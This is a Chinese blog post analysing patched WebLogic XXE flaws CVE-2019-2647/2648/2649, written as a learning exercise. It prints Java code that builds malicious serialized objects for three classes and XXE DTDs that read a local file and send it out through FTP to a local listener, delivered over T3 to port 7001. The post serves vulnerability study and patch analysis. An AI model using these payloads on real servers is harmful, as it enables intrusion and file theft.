WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649
@xxlegend在《Weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。
补丁分析,找到漏洞点
根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了setFeature操作:
应该就是对应的四个CVE了,其中ForeignRecoveryContext@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点
分析环境
Windows 10WebLogic 10.3.6.0Jdk160_29(WebLogic 10.3.6.0自带的JDK)
WsrmServerPayloadContext 漏洞点分析
WsrmServerPayloadContext修复后的代码如下:
package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {...}private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {...ByteArrayInputStream var15 = new ByteArrayInputStream(var3);try {DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();try {String var8 = "http://xml.org/sax/features/external-general-entities";var7.setFeature(var8, false);var8 = "http://xml.org/sax/features/external-parameter-entities";var7.setFeature(var8, false);var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";var7.setFeature(var8, false);var7.setXIncludeAware(false);var7.setExpandEntityReferences(false);} catch (Exception var11) {if (verbose) {Verbose.log("Failed to set factory:" + var11);}}...}}
可以看到进行了setFeature操作防止xxe***,而未打补丁之前是没有进行setFeature操作的
readExternal在反序列化对象时会被调用,与之对应的writeExternal在序列化对象时会被调用,看下writeExternal的逻辑:
var1就是this.formENdpt,注意var5.serialize可以传入三种类型的对象,var1.getEndptElement()返回的是Element对象,先尝试新建一个项目构造一下PoC:
结构如下
public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static class MyEndpointReference extends EndpointReference {@Override public Element getEndptElement() {super.getEndptElement();Document doc = null;Element element = null;try {DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();//从DOM工厂中获得DOM解析器 DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();//创建文档树模型对象 doc = dbBuilder.parse("test.xml");element = doc.getDocumentElement();} catch (Exception e) {e.printStackTrace();}return element;}}public static Object getXXEObject() {EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}
test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [<!ELEMENT data (#PCDATA)>]>
<data>4</data>
运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法:
在上面说到var5.serialize可以传入Document对象,测试了下,的确可以,但是如何使getEndptElement返回一个Document对象呢?
尝试了自己创建一个EndpointReference类,修改getEndptElement返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package与原来的不同,所以失败了
尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...
尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar解压,将WsrmServerPayloadContext.class类删除,重新压缩为weblogic.Jar,然后新建一个项目,引入需要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class同样的包名,在其中新建WsrmServerPayloadContext.class类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。WsrmServerPayloadContext.class修改的内容如下:![](https://s1.51cto.com/images/blog/201905/02/6cdba803bf9e417a0270da856092b43a.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始WsrmServerPayloadContext.class类同样的包名,然后进行修改,修改内容与第二种方式一样![](https://s1.51cto.com/images/blog/201905/02/80b12e9af8974c84650ae17cbf8db4f5.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)测试这种方式也是可行的,比第二种方式操作起来方便些
构造新的PoC:
public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference fromEndpt = new EndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}
查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt"><!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">%dtd;%send;]>
<ANY>xxe</ANY>
my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
<!ENTITY % all
"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:
%dtd;%send;居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。
尝试debug看下:
可以看到%dtd;%send;确实是被处理掉了
测试下正常的加载外部数据,my.dtd改为如下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;
gen.xml为:<?xml version="1.0" encoding="UTF-8"?>
debug看下:
可以看到%dtd;%send;被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个EntityScanner,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。
所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:
运行PoC测试下,
居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了
UnknownMsgHeader 漏洞点分析
与WsrmServerPayloadContext差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造
新建UnknownMsgHeader类,修改writeExternal
PoC如下:
public class WeblogicXXE2 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {QName qname = new QName("a", "b", "c");Element xmlHeader = null;UnknownMsgHeader umh = new UnknownMsgHeader();try {Field f1 = umh.getClass().getDeclaredField("qname");f1.setAccessible(true);f1.set(umh, qname);Field f2 = umh.getClass().getDeclaredField("xmlHeader");f2.setAccessible(true);f2.set(umh, xmlHeader);} catch (Exception e) {e.printStackTrace();}return umh;}}
运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:
WsrmSequenceContext 漏洞点分析
这个类看似需要构造的东西挺多的,readExternal与writeExternal的逻辑也比前两个复杂些,但是PoC构造也很容易
新建WsrmSequenceContext类,修改
PoC如下:
public class WeblogicXXE3 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference acksTo = new EndpointReference();WsrmSequenceContext wsc = new WsrmSequenceContext();try {Field f1 = wsc.getClass().getDeclaredField("acksTo");f1.setAccessible(true);f1.set(wsc, acksTo);} catch (Exception e) {e.printStackTrace();}return wsc;}}
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
最后
好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。
转载于:https://blog.51cto.com/14126565/2388415
WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649相关推荐
- VS Code 成主宰、Vue 备受热捧!2019 前端开发趋势必读
前端在生产和开发中占据着越来越重要的地位,PC 端.手机端.桌面端.智能手表端等等设备都离不开前端的身影.本文将围绕框架.编程语言.工具.React.Vue 等方面,全面回顾 2019 年前端与 We ...
- 近期活动盘点:2019第六届世界互联网大会、智慧城市的人本尺度城市形态讲座、高管AI大数据能力研修班、英伟达初创企业展示开启报名...
想知道近期有什么最新活动?大数点为你整理的近期活动信息在此 2019第六届世界互联网大会•数字经济产业合作系列活动 2019年10月19日-10月20日 2018年,我国GDP超过90万亿元,全国互联 ...
- 近期活动盘点:2019第六届世界互联网大会、面向智慧城市的人本尺度城市形态:理论方法与实践讲座、高级管理人员AI大数据能力研修班...
想知道近期有什么最新活动?大数点为你整理的近期活动信息在此 2019第六届世界互联网大会•数字经济产业合作系列活动 2019年10月19日-10月20日 2018年,我国GDP超过90万亿元,全国互联 ...
- 2019 年 ACM Fellow出炉,陈熙霖、陶大程、周礼栋、谢源、李向阳等7位华人学者入选
纽约时间12月11日,美国计算机学会(ACM)宣布了 2019 年新当选 ACM Fellow 名单,共有 58 位科学家当选,其中包括 7 位华人. 作为世界上最大的计算机领域专业性学术组织,ACM ...
- RNN失宠、强化学习风头正劲,ICLR 2019的八点参会总结
https://www.toutiao.com/a6690758737302389262/ 2019-05-14 14:02:43 上周,深度学习顶会 ICLR 2019 在新奥尔良落幕.毕业于斯坦福 ...
- 移动版“全功能”Photoshop发布!还有AI剪视频一键传抖音、一键抠图功能上线 | Adobe MAX 2019...
鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 现在,你真的可以在iPad上用Photoshop了. 图片变AR.AI秒抠图.AI剪视频也通通正式上线. 这都是刚刚结束的Adobe MAX ...
- ICML 2019全纪录:论文解读、workshop讨论、核心知识都在这里了
郭一璞 假装发自 长滩 量子位 报道 | 公众号 QbitAI ICML 2019刚结束,新鲜出炉的会议笔记就来了. 这份笔记来自布朗大学博士David Abel,他整理了6月10日-6月14日五天 ...
- 安徽省2019年普通高校招生文史、理工类最低控制分数线一览表
安徽省2019年普通高校招生文史.理工类最低控制分数线一览表 科类/批次 本科一批 本科二批 高职(专科)批 文史 550 504 200 理工 496 426 200 安徽省2019年普 ...
- tcs标准编写软件_【通知】关于举办2019年第一期“标准编写、案例分析、TCS工具使用”培训班的通知...
各有关单位: 标准编写是开展标准化工作中一个必不可少的重要环节.掌握标准编写规则是制定符合社会经济发展需求.有科技含量.先进适用标准的基础,是提升标准质量和水平的先决条件. 2019年是建设推动高质量 ...
- 强推!2019年最火的容器、K8S和DevOps入门都在这了
戳蓝字"CSDN云计算"关注我们哦! 技术头条:干货.简洁.多维全面.更多云计算精华知识尽在眼前,get要点.solve难题,统统不在话下! 作者: Pasca 来源:蛋蛋团(ID ...
最新文章
- Spring Boot Security
- Spring - IOC常用标签
- Linux 中的驱动开发的初学者体会
- HTML输入学生成绩并排序java_JS实现冒泡排序,插入排序和快速排序并排序输出...
- eplan连接定义点不显示_EPLAN电气图实例--控制柜(控制面板)
- c++ new, operator new, placement new
- es6 WeakSet
- MTK 驱动开发(41)---MTK 调试工具
- springmvc重定向到另一个项目_springmvc怎么重定向,从一个controller跳到另外一个controller...
- easyui下拉多选框的创建、获取值、赋值
- fun php,fun.php
- 头衔的权威暗示影响力
- 我们的产品工艺演示动画
- Linux下搭建DNS 服务器
- PHP OB-缓冲区
- html5实现对试题图片批改效果,类似盖章效果
- 求两个数的最小公倍数方法汇总
- 身份验证错误,指定的句柄无效
- linux screen 环境变量,Linux 下 screen 使用方法
- Hfut | 集电竞赛指南